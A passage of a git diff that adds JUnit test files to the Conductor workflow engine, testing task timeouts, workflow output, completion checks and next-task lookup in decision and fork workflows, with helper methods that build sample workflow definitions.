+ taskDef.setName("test_rt"); + taskDef.setResponseTimeoutSeconds(10); + + TaskModel task = new TaskModel(); + task.setTaskDefName("test_rt"); + task.setStatus(TaskModel.Status.IN_PROGRESS); + task.setTaskId("aa"); + task.setTaskType(TaskType.TASK_TYPE_SIMPLE); + task.setUpdateTime(System.currentTimeMillis() - TimeUnit.SECONDS.toMillis(11)); + + assertTrue(deciderService.isResponseTimedOut(taskDef, task)); + + // verify that sub workflow tasks are not response timed out + task.setTaskType(TaskType.TASK_TYPE_SUB_WORKFLOW); + assertFalse(deciderService.isResponseTimedOut(taskDef, task)); + + task.setTaskType("asyncCompleteSystemTask"); + assertFalse(deciderService.isResponseTimedOut(taskDef, task)); + } + + @Test + public void testFilterNextLoopOverTasks() { + + WorkflowModel workflow = new WorkflowModel(); + + TaskModel task1 = new TaskModel(); + task1.setReferenceTaskName("task1"); + task1.setStatus(TaskModel.Status.COMPLETED); + task1.setTaskId("task1"); + task1.setIteration(1); + + TaskModel task2 = new TaskModel(); + task2.setReferenceTaskName("task2"); + task2.setStatus(TaskModel.Status.SCHEDULED); + task2.setTaskId("task2"); + + TaskModel task3 = new TaskModel(); + task3.setReferenceTaskName("task3__1"); + task3.setStatus(TaskModel.Status.IN_PROGRESS); + task3.setTaskId("task3__1"); + + TaskModel task4 = new TaskModel(); + task4.setReferenceTaskName("task4"); + task4.setStatus(TaskModel.Status.SCHEDULED); + task4.setTaskId("task4"); + + TaskModel task5 = new TaskModel(); + task5.setReferenceTaskName("task5"); + task5.setStatus(TaskModel.Status.COMPLETED); + task5.setTaskId("task5"); + + workflow.getTasks().addAll(Arrays.asList(task1, task2, task3, task4, task5)); + List tasks = + deciderService.filterNextLoopOverTasks( + Arrays.asList(task2, task3, task4), task1, workflow); + assertEquals(2, tasks.size()); + tasks.forEach( + task -> { + assertTrue( + task.getReferenceTaskName() + .endsWith(TaskUtils.getLoopOverTaskRefNameSuffix(1))); + assertEquals(1, task.getIteration()); + }); + } + + @Test + public void testUpdateWorkflowOutput() { + WorkflowModel workflow = new WorkflowModel(); + workflow.setWorkflowDefinition(new WorkflowDef()); + deciderService.updateWorkflowOutput(workflow, null); + assertNotNull(workflow.getOutput()); + assertTrue(workflow.getOutput().isEmpty()); + TaskModel task = new TaskModel(); + Map taskOutput = new HashMap<>(); + taskOutput.put("taskKey", "taskValue"); + task.setOutputData(taskOutput); + workflow.getTasks().add(task); + WorkflowDef workflowDef = new WorkflowDef(); + when(metadataDAO.getWorkflowDef(anyString(), anyInt())) + .thenReturn(Optional.of(workflowDef)); + deciderService.updateWorkflowOutput(workflow, null); + assertNotNull(workflow.getOutput()); + assertEquals("taskValue", workflow.getOutput().get("taskKey")); + } + + // when workflow definition has outputParameters defined + @SuppressWarnings({"unchecked", "rawtypes"}) + @Test + public void testUpdateWorkflowOutput_WhenDefinitionHasOutputParameters() { + WorkflowModel workflow = new WorkflowModel(); + WorkflowDef workflowDef = new WorkflowDef(); + workflowDef.setOutputParameters( + new HashMap() { + { + put("workflowKey", "workflowValue"); + } + }); + workflow.setWorkflowDefinition(workflowDef); + TaskModel task = new TaskModel(); + task.setReferenceTaskName("test_task"); + task.setOutputData( + new HashMap() { + { + put("taskKey", "taskValue"); + } + }); + workflow.getTasks().add(task); + deciderService.updateWorkflowOutput(workflow, null); + assertNotNull(workflow.getOutput()); + assertEquals("workflowValue", workflow.getOutput().get("workflowKey")); + } + + @Test + public void testUpdateWorkflowOutput_WhenWorkflowHasTerminateTask() { + WorkflowModel workflow = new WorkflowModel(); + TaskModel task = new TaskModel(); + task.setTaskType(TASK_TYPE_TERMINATE); + task.setStatus(TaskModel.Status.COMPLETED); + task.setOutputData( + new HashMap() { + { + put("taskKey", "taskValue"); + } + }); + workflow.getTasks().add(task); + deciderService.updateWorkflowOutput(workflow, null); + assertNotNull(workflow.getOutput()); + assertEquals("taskValue", workflow.getOutput().get("taskKey")); + verify(externalPayloadStorageUtils, never()).downloadPayload(anyString()); + + // when terminate task has output in external payload storage + String externalOutputPayloadStoragePath = "/task/output/terminate.json"; + workflow.getTasks().get(0).setOutputData(null); + workflow.getTasks() + .get(0) + .setExternalOutputPayloadStoragePath(externalOutputPayloadStoragePath); + when(externalPayloadStorageUtils.downloadPayload(externalOutputPayloadStoragePath)) + .thenReturn( + new HashMap() { + { + put("taskKey", "taskValue"); + } + }); + deciderService.updateWorkflowOutput(workflow, null); + assertNotNull(workflow.getOutput()); + assertEquals("taskValue", workflow.getOutput().get("taskKey")); + verify(externalPayloadStorageUtils, times(1)).downloadPayload(anyString()); + } + + @Test + public void testCheckWorkflowTimeout() { + Counter counter = + registry.counter( + "workflow_failure", + "class", + "WorkflowMonitor", + "workflowName", + "test", + "status", + "TIMED_OUT", + "ownerApp", + "junit"); + double counterCount = counter.count(); + assertEquals(0, counter.count(), 0); + + WorkflowDef workflowDef = new WorkflowDef(); + workflowDef.setName("test"); + WorkflowModel workflow = new WorkflowModel(); + workflow.setOwnerApp("junit"); + workflow.setCreateTime(System.currentTimeMillis() - 10_000); + workflow.setWorkflowId("workflow_id"); + + // no-op + workflow.setWorkflowDefinition(null); + deciderService.checkWorkflowTimeout(workflow); + + // no-op + workflow.setWorkflowDefinition(workflowDef); + deciderService.checkWorkflowTimeout(workflow); + + // alert + workflowDef.setTimeoutPolicy(WorkflowDef.TimeoutPolicy.ALERT_ONLY); + workflowDef.setTimeoutSeconds(2); + workflow.setWorkflowDefinition(workflowDef); + deciderService.checkWorkflowTimeout(workflow); + + // time out + workflowDef.setTimeoutPolicy(WorkflowDef.TimeoutPolicy.TIME_OUT_WF); + workflow.setWorkflowDefinition(workflowDef); + try { + deciderService.checkWorkflowTimeout(workflow); + } catch (TerminateWorkflowException twe) { + assertTrue(twe.getMessage().contains("Workflow timed out")); + } + + // for a retried workflow + workflow.setLastRetriedTime(System.currentTimeMillis() - 5_000); + try { + deciderService.checkWorkflowTimeout(workflow); + } catch (TerminateWorkflowException twe) { + assertTrue(twe.getMessage().contains("Workflow timed out")); + } + } + + @Test + public void testCheckForWorkflowCompletion() { + WorkflowDef conditionalWorkflowDef = createConditionalWF(); + WorkflowTask terminateWT = new WorkflowTask(); + terminateWT.setType(TaskType.TERMINATE.name()); + terminateWT.setTaskReferenceName("terminate"); + terminateWT.setName("terminate"); + terminateWT.getInputParameters().put("terminationStatus", "COMPLETED"); + conditionalWorkflowDef.getTasks().add(terminateWT); + + // when workflow has no tasks + WorkflowModel workflow = new WorkflowModel(); + workflow.setWorkflowDefinition(conditionalWorkflowDef); + + // then workflow completion check returns false + assertFalse(deciderService.checkForWorkflowCompletion(workflow)); + + // when only part of the tasks are completed + TaskModel decTask = new TaskModel(); + decTask.setTaskType(DECISION.name()); + decTask.setReferenceTaskName("conditional2"); + decTask.setStatus(TaskModel.Status.COMPLETED); + + TaskModel task1 = new TaskModel(); + decTask.setTaskType(SIMPLE.name()); + task1.setReferenceTaskName("t1"); + task1.setStatus(TaskModel.Status.COMPLETED); + + workflow.getTasks().addAll(Arrays.asList(decTask, task1)); + + // then workflow completion check returns false + assertFalse(deciderService.checkForWorkflowCompletion(workflow)); + + // when the terminate task is COMPLETED + TaskModel task2 = new TaskModel(); + decTask.setTaskType(SIMPLE.name()); + task2.setReferenceTaskName("t2"); + task2.setStatus(TaskModel.Status.SCHEDULED); + + TaskModel terminateTask = new TaskModel(); + decTask.setTaskType(TaskType.TERMINATE.name()); + terminateTask.setReferenceTaskName("terminate"); + terminateTask.setStatus(TaskModel.Status.COMPLETED); + + workflow.getTasks().addAll(Arrays.asList(task2, terminateTask)); + + // then the workflow completion check returns true + assertTrue(deciderService.checkForWorkflowCompletion(workflow)); + } + + @Test + public void testWorkflowCompleted_WhenAllOptionalTasksInTerminalState() { + var workflowDef = createOnlyOptionalTaskWorkflow(); + + var workflow = new WorkflowModel(); + workflow.setWorkflowDefinition(workflowDef); + workflow.setStatus(WorkflowModel.Status.RUNNING); + + // Workflow should be running + assertFalse(deciderService.checkForWorkflowCompletion(workflow)); + + var task1 = new TaskModel(); + task1.setTaskType(SIMPLE.name()); + task1.setReferenceTaskName("o1"); + task1.setStatus(TaskModel.Status.FAILED_WITH_TERMINAL_ERROR); + + assertFalse(deciderService.checkForWorkflowCompletion(workflow)); + + var task2 = new TaskModel(); + task2.setTaskType(SIMPLE.name()); + task2.setReferenceTaskName("o2"); + task2.setStatus(TaskModel.Status.COMPLETED_WITH_ERRORS); + + workflow.getTasks().addAll(List.of(task1, task2)); + + // Workflow should be COMPLETED. All optional tasks have reached a terminal + // state. + assertTrue(deciderService.checkForWorkflowCompletion(workflow)); + } + + private WorkflowDef createOnlyOptionalTaskWorkflow() { + var workflowTask1 = new WorkflowTask(); + workflowTask1.setName("junit_task_1"); + workflowTask1.setTaskReferenceName("o1"); + workflowTask1.setTaskDefinition(new TaskDef("junit_task_1")); + workflowTask1.setOptional(true); + + var workflowTask2 = new WorkflowTask(); + workflowTask2.setName("junit_task_2"); + workflowTask2.setTaskReferenceName("o2"); + workflowTask2.setTaskDefinition(new TaskDef("junit_task_2")); + workflowTask2.setOptional(true); + + var workflowDef = new WorkflowDef(); + workflowDef.setSchemaVersion(2); + workflowDef.setName("only_optional_tasks_workflow"); + workflowDef.getTasks().addAll(Arrays.asList(workflowTask1, workflowTask2)); + return workflowDef; + } + + private WorkflowDef createConditionalWF() { + + WorkflowTask workflowTask1 = new WorkflowTask(); + workflowTask1.setName("junit_task_1"); + Map inputParams1 = new HashMap<>(); + inputParams1.put("p1", "workflow.input.param1"); + inputParams1.put("p2", "workflow.input.param2"); + workflowTask1.setInputParameters(inputParams1); + workflowTask1.setTaskReferenceName("t1"); + workflowTask1.setTaskDefinition(new TaskDef("junit_task_1")); + + WorkflowTask workflowTask2 = new WorkflowTask(); + workflowTask2.setName("junit_task_2"); + Map inputParams2 = new HashMap<>(); + inputParams2.put("tp1", "workflow.input.param1"); + workflowTask2.setInputParameters(inputParams2); + workflowTask2.setTaskReferenceName("t2"); + workflowTask2.setTaskDefinition(new TaskDef("junit_task_2")); + + WorkflowTask workflowTask3 = new WorkflowTask(); + workflowTask3.setName("junit_task_3"); + Map inputParams3 = new HashMap<>(); + inputParams2.put("tp3", "workflow.input.param2"); + workflowTask3.setInputParameters(inputParams3); + workflowTask3.setTaskReferenceName("t3"); + workflowTask3.setTaskDefinition(new TaskDef("junit_task_3")); + + WorkflowDef workflowDef = new WorkflowDef(); + workflowDef.setName("Conditional Workflow"); + workflowDef.setDescription("Conditional Workflow"); + workflowDef.setInputParameters(Arrays.asList("param1", "param2")); + + WorkflowTask decisionTask2 = new WorkflowTask(); + decisionTask2.setType(DECISION.name()); + decisionTask2.setCaseValueParam("case"); + decisionTask2.setName("conditional2"); + decisionTask2.setTaskReferenceName("conditional2"); + Map> dc = new HashMap<>(); + dc.put("one", Arrays.asList(workflowTask1, workflowTask3)); + dc.put("two", Collections.singletonList(workflowTask2)); + decisionTask2.setDecisionCases(dc); + decisionTask2.getInputParameters().put("case", "workflow.input.param2"); + + WorkflowTask decisionTask = new WorkflowTask(); + decisionTask.setType(DECISION.name()); + decisionTask.setCaseValueParam("case"); + decisionTask.setName("conditional"); + decisionTask.setTaskReferenceName("conditional"); + Map> decisionCases = new HashMap<>(); + decisionCases.put("nested", Collections.singletonList(decisionTask2)); + decisionCases.put("three", Collections.singletonList(workflowTask3)); + decisionTask.setDecisionCases(decisionCases); + decisionTask.getInputParameters().put("case", "workflow.input.param1"); + decisionTask.getDefaultCase().add(workflowTask2); + workflowDef.getTasks().add(decisionTask); + + WorkflowTask notifyTask = new WorkflowTask(); + notifyTask.setName("junit_task_4"); + notifyTask.setTaskReferenceName("junit_task_4"); + notifyTask.setTaskDefinition(new TaskDef("junit_task_4")); + + WorkflowTask finalDecisionTask = new WorkflowTask(); + finalDecisionTask.setName("finalcondition"); + finalDecisionTask.setTaskReferenceName("tf"); + finalDecisionTask.setType(DECISION.name()); + finalDecisionTask.setCaseValueParam("finalCase"); + Map fi = new HashMap<>(); + fi.put("finalCase", "workflow.input.finalCase"); + finalDecisionTask.setInputParameters(fi); + finalDecisionTask.getDecisionCases().put("notify", Collections.singletonList(notifyTask)); + + workflowDef.getTasks().add(finalDecisionTask); + return workflowDef; + } + + private WorkflowDef createLinearWorkflow() { + + Map inputParams = new HashMap<>(); + inputParams.put("p1", "workflow.input.param1"); + inputParams.put("p2", "workflow.input.param2"); + + WorkflowTask workflowTask1 = new WorkflowTask(); + workflowTask1.setName("junit_task_l1"); + workflowTask1.setInputParameters(inputParams); + workflowTask1.setTaskReferenceName("s1"); + workflowTask1.setTaskDefinition(new TaskDef("junit_task_l1")); + + WorkflowTask workflowTask2 = new WorkflowTask(); + workflowTask2.setName("junit_task_l2"); + workflowTask2.setInputParameters(inputParams); + workflowTask2.setTaskReferenceName("s2"); + workflowTask2.setTaskDefinition(new TaskDef("junit_task_l2")); + + WorkflowDef workflowDef = new WorkflowDef(); + workflowDef.setSchemaVersion(2); + workflowDef.setInputParameters(Arrays.asList("param1", "param2")); + workflowDef.setName("Linear Workflow"); + workflowDef.getTasks().addAll(Arrays.asList(workflowTask1, workflowTask2)); + + return workflowDef; + } + + private WorkflowModel createDefaultWorkflow() { + + WorkflowDef workflowDef = new WorkflowDef(); + workflowDef.setName("TestDeciderService"); + workflowDef.setVersion(1); + + WorkflowModel workflow = new WorkflowModel(); + workflow.setWorkflowDefinition(workflowDef); + + workflow.getInput().put("requestId", "request id 001"); + workflow.getInput().put("hasAwards", true); + workflow.getInput().put("channelMapping", 5); + Map name = new HashMap<>(); + name.put("name", "The Who"); + name.put("year", 1970); + Map name2 = new HashMap<>(); + name2.put("name", "The Doors"); + name2.put("year", 1975); + + List names = new LinkedList<>(); + names.add(name); + names.add(name2); + + workflow.addOutput("name", name); + workflow.addOutput("names", names); + workflow.addOutput("awards", 200); + + TaskModel task = new TaskModel(); + task.setReferenceTaskName("task2"); + task.addOutput("location", "http://location"); + task.setStatus(TaskModel.Status.COMPLETED); + + TaskModel task2 = new TaskModel(); + task2.setReferenceTaskName("task3"); + task2.addOutput("refId", "abcddef_1234_7890_aaffcc"); + task2.setStatus(TaskModel.Status.SCHEDULED); + + workflow.getTasks().add(task); + workflow.getTasks().add(task2); + + return workflow; + } + + private WorkflowDef createNestedWorkflow() { + + WorkflowDef workflowDef = new WorkflowDef(); + workflowDef.setName("Nested Workflow"); + workflowDef.setDescription(workflowDef.getName()); + workflowDef.setVersion(1); + workflowDef.setInputParameters(Arrays.asList("param1", "param2")); + + Map inputParams = new HashMap<>(); + inputParams.put("p1", "workflow.input.param1"); + inputParams.put("p2", "workflow.input.param2"); + + List tasks = new ArrayList<>(10); + + for (int i = 0; i < 10; i++) { + WorkflowTask workflowTask = new WorkflowTask(); + workflowTask.setName("junit_task_" + i); + workflowTask.setInputParameters(inputParams); + workflowTask.setTaskReferenceName("t" + i); + workflowTask.setTaskDefinition(new TaskDef("junit_task_" + i)); + tasks.add(workflowTask); + } + + WorkflowTask decisionTask = new WorkflowTask(); + decisionTask.setType(DECISION.name()); + decisionTask.setName("Decision"); + decisionTask.setTaskReferenceName("d1"); + decisionTask.setDefaultCase(Collections.singletonList(tasks.get(8))); + decisionTask.setCaseValueParam("case"); + Map> decisionCases = new HashMap<>(); + decisionCases.put("a", Arrays.asList(tasks.get(6), tasks.get(9))); + decisionCases.put("b", Collections.singletonList(tasks.get(7))); + decisionTask.setDecisionCases(decisionCases); + + WorkflowDef subWorkflowDef = createLinearWorkflow(); + WorkflowTask subWorkflow = new WorkflowTask(); + subWorkflow.setType(SUB_WORKFLOW.name()); + subWorkflow.setName("sw1"); + SubWorkflowParams subWorkflowParams = new SubWorkflowParams(); + subWorkflowParams.setName(subWorkflowDef.getName()); + subWorkflow.setSubWorkflowParam(subWorkflowParams); + subWorkflow.setTaskReferenceName("sw1"); + + WorkflowTask forkTask2 = new WorkflowTask(); + forkTask2.setType(FORK_JOIN.name()); + forkTask2.setName("second fork"); + forkTask2.setTaskReferenceName("fork2"); + forkTask2.getForkTasks().add(Arrays.asList(tasks.get(2), tasks.get(4))); + forkTask2.getForkTasks().add(Arrays.asList(tasks.get(3), decisionTask)); + + WorkflowTask joinTask2 = new WorkflowTask(); + joinTask2.setName("join2"); + joinTask2.setType(JOIN.name()); + joinTask2.setTaskReferenceName("join2"); + joinTask2.setJoinOn(Arrays.asList("t4", "d1")); + + WorkflowTask forkTask1 = new WorkflowTask(); + forkTask1.setType(FORK_JOIN.name()); + forkTask1.setName("fork1"); + forkTask1.setTaskReferenceName("fork1"); + forkTask1.getForkTasks().add(Collections.singletonList(tasks.get(1))); + forkTask1.getForkTasks().add(Arrays.asList(forkTask2, joinTask2)); + forkTask1.getForkTasks().add(Collections.singletonList(subWorkflow)); + + WorkflowTask joinTask1 = new WorkflowTask(); + joinTask1.setName("join1"); + joinTask1.setType(JOIN.name()); + joinTask1.setTaskReferenceName("join1"); + joinTask1.setJoinOn(Arrays.asList("t1", "fork2")); + + workflowDef.getTasks().add(forkTask1); + workflowDef.getTasks().add(joinTask1); + workflowDef.getTasks().add(tasks.get(5)); + + return workflowDef; + } +} diff --git a/core/src/test/java/com/netflix/conductor/core/execution/TestWorkflowDef.java b/core/src/test/java/com/netflix/conductor/core/execution/TestWorkflowDef.java new file mode 100644 index 0000000..7df6037 --- /dev/null +++ b/core/src/test/java/com/netflix/conductor/core/execution/TestWorkflowDef.java @@ -0,0 +1,219 @@ +/* + * Copyright 2020 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.core.execution; + +import java.util.ArrayList; +import java.util.Arrays; +import java.util.Collections; +import java.util.HashMap; +import java.util.LinkedList; +import java.util.List; +import java.util.Map; + +import org.junit.Test; + +import com.netflix.conductor.common.metadata.tasks.TaskType; +import com.netflix.conductor.common.metadata.workflow.WorkflowDef; +import com.netflix.conductor.common.metadata.workflow.WorkflowTask; + +import static org.junit.Assert.assertEquals; +import static org.junit.Assert.assertFalse; +import static org.junit.Assert.assertNotNull; +import static org.junit.Assert.assertNull; +import static org.junit.Assert.assertTrue; + +public class TestWorkflowDef { + + @Test + public void testContainsType() { + WorkflowDef def = new WorkflowDef(); + def.setName("test_workflow"); + def.setVersion(1); + def.setSchemaVersion(2); + def.getTasks().add(createWorkflowTask("simple_task_1")); + def.getTasks().add(createWorkflowTask("simple_task_2")); + + WorkflowTask task3 = createWorkflowTask("decision_task_1"); + def.getTasks().add(task3); + task3.setType(TaskType.DECISION.name()); + task3.getDecisionCases() + .put( + "Case1", + Arrays.asList( + createWorkflowTask("case_1_task_1"), + createWorkflowTask("case_1_task_2"))); + task3.getDecisionCases() + .put( + "Case2", + Arrays.asList( + createWorkflowTask("case_2_task_1"), + createWorkflowTask("case_2_task_2"))); + task3.getDecisionCases() + .put( + "Case3", + Collections.singletonList( + deciderTask( + "decision_task_2", + toMap("Case31", "case31_task_1", "case_31_task_2"), + Collections.singletonList("case3_def_task")))); + def.getTasks().add(createWorkflowTask("simple_task_3")); + + assertTrue(def.containsType(TaskType.SIMPLE.name())); + assertTrue(def.containsType(TaskType.DECISION.name())); + assertFalse(def.containsType(TaskType.DO_WHILE.name())); + } + + @Test + public void testGetNextTask_Decision() { + WorkflowDef def = new WorkflowDef(); + def.setName("test_workflow"); + def.setVersion(1); + def.setSchemaVersion(2); + def.getTasks().add(createWorkflowTask("simple_task_1")); + def.getTasks().add(createWorkflowTask("simple_task_2")); + + WorkflowTask task3 = createWorkflowTask("decision_task_1"); + def.getTasks().add(task3); + task3.setType(TaskType.DECISION.name()); + task3.getDecisionCases() + .put( + "Case1", + Arrays.asList( + createWorkflowTask("case_1_task_1"), + createWorkflowTask("case_1_task_2"))); + task3.getDecisionCases() + .put( + "Case2", + Arrays.asList( + createWorkflowTask("case_2_task_1"), + createWorkflowTask("case_2_task_2"))); + task3.getDecisionCases() + .put( + "Case3", + Collections.singletonList( + deciderTask( + "decision_task_2", + toMap("Case31", "case31_task_1", "case_31_task_2"), + Collections.singletonList("case3_def_task")))); + def.getTasks().add(createWorkflowTask("simple_task_3")); + + // Assertions + WorkflowTask next = def.getNextTask("simple_task_1"); + assertNotNull(next); + assertEquals("simple_task_2", next.getTaskReferenceName()); + + next = def.getNextTask("simple_task_2"); + assertNotNull(next); + assertEquals(task3.getTaskReferenceName(), next.getTaskReferenceName()); + + next = def.getNextTask("decision_task_1"); + assertNotNull(next); + assertEquals("simple_task_3", next.getTaskReferenceName()); + + next = def.getNextTask("case_1_task_1"); + assertNotNull(next); + assertEquals("case_1_task_2", next.getTaskReferenceName()); + + next = def.getNextTask("case_1_task_2"); + assertNotNull(next); + assertEquals("simple_task_3", next.getTaskReferenceName()); + + next = def.getNextTask("case3_def_task"); + assertNotNull(next); + assertEquals("simple_task_3", next.getTaskReferenceName()); + + next = def.getNextTask("case31_task_1"); + assertNotNull(next); + assertEquals("case_31_task_2", next.getTaskReferenceName()); + } + + @Test + public void testGetNextTask_Conditional() { + String COND_TASK_WF = "COND_TASK_WF"; + List workflowTasks = new ArrayList<>(10); + for (int i = 0; i < 10; i++) { + workflowTasks.add(createWorkflowTask("junit_task_" + i)); + } + + WorkflowDef workflowDef = new WorkflowDef(); + workflowDef.setName(COND_TASK_WF); + workflowDef.setDescription(COND_TASK_WF); + + WorkflowTask subCaseTask = new WorkflowTask(); + subCaseTask.setType(TaskType.DECISION.name()); + subCaseTask.setCaseValueParam("case2"); + subCaseTask.setName("case2"); + subCaseTask.setTaskReferenceName("case2"); + Map> dcx = new HashMap<>(); + dcx.put("sc1", workflowTasks.subList(4, 5)); + dcx.put("sc2", workflowTasks.subList(5, 7)); + subCaseTask.setDecisionCases(dcx); + + WorkflowTask caseTask = new WorkflowTask(); + caseTask.setType(TaskType.DECISION.name()); + caseTask.setCaseValueParam("case"); + caseTask.setName("case"); + caseTask.setTaskReferenceName("case"); + Map> dc = new HashMap<>(); + dc.put("c1", Arrays.asList(workflowTasks.get(0), subCaseTask, workflowTasks.get(1))); + dc.put("c2", Collections.singletonList(workflowTasks.get(3))); + caseTask.setDecisionCases(dc); + + workflowDef.getTasks().add(caseTask); + workflowDef.getTasks().addAll(workflowTasks.subList(8, 9)); + + WorkflowTask nextTask = workflowDef.getNextTask("case"); + assertEquals("junit_task_8", nextTask.getTaskReferenceName()); + + nextTask = workflowDef.getNextTask("junit_task_8"); + assertNull(nextTask); + + nextTask = workflowDef.getNextTask("junit_task_0"); + assertNotNull(nextTask); + assertEquals("case2", nextTask.getTaskReferenceName()); + + nextTask = workflowDef.getNextTask("case2"); + assertNotNull(nextTask); + assertEquals("junit_task_1", nextTask.getTaskReferenceName()); + } + + private WorkflowTask createWorkflowTask(String name) { + WorkflowTask task = new WorkflowTask(); + task.setName(name); + task.setTaskReferenceName(name); + return task; + } + + private WorkflowTask deciderTask( + String name, Map> decisions, List defaultTasks) { + WorkflowTask task = createWorkflowTask(name); + task.setType(TaskType.DECISION.name()); + decisions.forEach( + (key, value) -> { + List tasks = new LinkedList<>(); + value.forEach(taskName -> tasks.add(createWorkflowTask(taskName))); + task.getDecisionCases().put(key, tasks); + }); + List tasks = new LinkedList<>(); + defaultTasks.forEach(defaultTask -> tasks.add(createWorkflowTask(defaultTask))); + task.setDefaultCase(tasks); + return task; + } + + private Map> toMap(String key, String... values) { + Map> map = new HashMap<>(); + List vals = Arrays.asList(values); + map.put(key, vals); + return map; + } +} diff --git a/core/src/test/java/com/netflix/conductor/core/execution/TestWorkflowExecutor.java b/core/src/test/java/com/netflix/conductor/core/execution/TestWorkflowExecutor.java new file mode 100644 index 0000000..ee3d94c --- /dev/null +++ b/core/src/test/java/com/netflix/conductor/core/execution/TestWorkflowExecutor.java @@ -0,0 +1,3056 @@ +/* + * Copyright 2022 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.core.execution; + +import java.time.Duration; +import java.util.*; +import java.util.concurrent.atomic.AtomicInteger; +import java.util.stream.Collectors; + +import org.junit.Before; +import org.junit.Test; +import org.junit.runner.RunWith; +import org.mockito.ArgumentCaptor; +import org.mockito.stubbing.Answer; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.beans.factory.support.DefaultListableBeanFactory; +import org.springframework.context.annotation.Bean; +import org.springframework.context.annotation.ComponentScan; +import org.springframework.context.annotation.Configuration; +import org.springframework.test.context.ContextConfiguration; +import org.springframework.test.context.junit4.SpringRunner; + +import com.netflix.conductor.common.config.TestObjectMapperConfiguration; +import com.netflix.conductor.common.metadata.tasks.PollData; +import com.netflix.conductor.common.metadata.tasks.TaskDef; +import com.netflix.conductor.common.metadata.tasks.TaskResult; +import com.netflix.conductor.common.metadata.tasks.TaskType; +import com.netflix.conductor.common.metadata.workflow.RerunWorkflowRequest; +import com.netflix.conductor.common.metadata.workflow.WorkflowDef; +import com.netflix.conductor.common.metadata.workflow.WorkflowTask; +import com.netflix.conductor.common.utils.ExternalPayloadStorage; +import com.netflix.conductor.core.config.ConductorProperties; +import com.netflix.conductor.core.dal.ExecutionDAOFacade; +import com.netflix.conductor.core.exception.ConflictException; +import com.netflix.conductor.core.exception.NonTransientException; +import com.netflix.conductor.core.exception.NotFoundException; +import com.netflix.conductor.core.exception.TerminateWorkflowException; +import com.netflix.conductor.core.exception.TransientException; +import com.netflix.conductor.core.execution.evaluators.Evaluator; +import com.netflix.conductor.core.execution.mapper.*; +import com.netflix.conductor.core.execution.tasks.*; +import com.netflix.conductor.core.listener.TaskStatusListener; +import com.netflix.conductor.core.listener.WorkflowStatusListener; +import com.netflix.conductor.core.metadata.MetadataMapperService; +import com.netflix.conductor.core.utils.ExternalPayloadStorageUtils; +import com.netflix.conductor.core.utils.IDGenerator; +import com.netflix.conductor.core.utils.ParametersUtils; +import com.netflix.conductor.dao.MetadataDAO; +import com.netflix.conductor.dao.QueueDAO; +import com.netflix.conductor.model.TaskModel; +import com.netflix.conductor.model.WorkflowModel; +import com.netflix.conductor.service.ExecutionLockService; + +import com.fasterxml.jackson.databind.ObjectMapper; + +import static com.netflix.conductor.common.metadata.tasks.TaskType.*; +import static com.netflix.conductor.core.utils.Utils.DECIDER_QUEUE; + +import static java.util.Comparator.comparingInt; +import static java.util.stream.Collectors.groupingBy; +import static java.util.stream.Collectors.maxBy; +import static org.junit.Assert.*; +import static org.mockito.ArgumentMatchers.*; +import static org.mockito.Mockito.*; + +@ContextConfiguration( + classes = { + TestObjectMapperConfiguration.class, + TestWorkflowExecutor.TestConfiguration.class + }) +@RunWith(SpringRunner.class) +public class TestWorkflowExecutor { + + private WorkflowExecutorOps workflowExecutor; + private ExecutionDAOFacade executionDAOFacade; + private MetadataDAO metadataDAO; + private QueueDAO queueDAO; + private WorkflowStatusListener workflowStatusListener; + private TaskStatusListener taskStatusListener; + private ExecutionLockService executionLockService; + private ExternalPayloadStorageUtils externalPayloadStorageUtils; + + @Configuration + @ComponentScan(basePackageClasses = {Evaluator.class}) // load all Evaluator beans. + public static class TestConfiguration { + + @Bean(TASK_TYPE_SUB_WORKFLOW) + public SubWorkflow subWorkflow(ObjectMapper objectMapper) { + return new SubWorkflow(objectMapper, new IDGenerator()); + } + + @Bean(TASK_TYPE_LAMBDA) + public Lambda lambda() { + return new Lambda(); + } + + @Bean(TASK_TYPE_WAIT) + public Wait waitBean() { + return new Wait(); + } + + @Bean("HTTP") + public WorkflowSystemTask http() { + return new WorkflowSystemTaskStub("HTTP") { + @Override + public boolean isAsync() { + return true; + } + }; + } + + @Bean("HTTP2") + public WorkflowSystemTask http2() { + return new WorkflowSystemTaskStub("HTTP2"); + } + + @Bean(TASK_TYPE_JSON_JQ_TRANSFORM) + public WorkflowSystemTask jsonBean() { + return new WorkflowSystemTaskStub("JSON_JQ_TRANSFORM") { + @Override + public boolean isAsync() { + return false; + } + + @Override + public void start( + WorkflowModel workflow, TaskModel task, WorkflowExecutor executor) { + task.setStatus(TaskModel.Status.COMPLETED); + } + }; + } + + @Bean + public SystemTaskRegistry systemTaskRegistry(Set tasks) { + return new SystemTaskRegistry(tasks); + } + } + + @Autowired private ObjectMapper objectMapper; + + @Autowired private SystemTaskRegistry systemTaskRegistry; + + @Autowired private DefaultListableBeanFactory beanFactory; + + @Autowired private Map evaluators; + + @Before + public void init() { + executionDAOFacade = mock(ExecutionDAOFacade.class); + metadataDAO = mock(MetadataDAO.class); + queueDAO = mock(QueueDAO.class); + workflowStatusListener = mock(WorkflowStatusListener.class); + taskStatusListener = mock(TaskStatusListener.class); + externalPayloadStorageUtils = mock(ExternalPayloadStorageUtils.class); + executionLockService = mock(ExecutionLockService.class); + + ParametersUtils parametersUtils = new ParametersUtils(objectMapper); + IDGenerator idGenerator = new IDGenerator(); + Map taskMappers = new HashMap<>(); + taskMappers.put(DECISION.name(), new DecisionTaskMapper()); + taskMappers.put(SWITCH.name(), new SwitchTaskMapper(evaluators)); + taskMappers.put(DYNAMIC.name(), new DynamicTaskMapper(parametersUtils, metadataDAO)); + taskMappers.put(FORK_JOIN.name(), new ForkJoinTaskMapper()); + 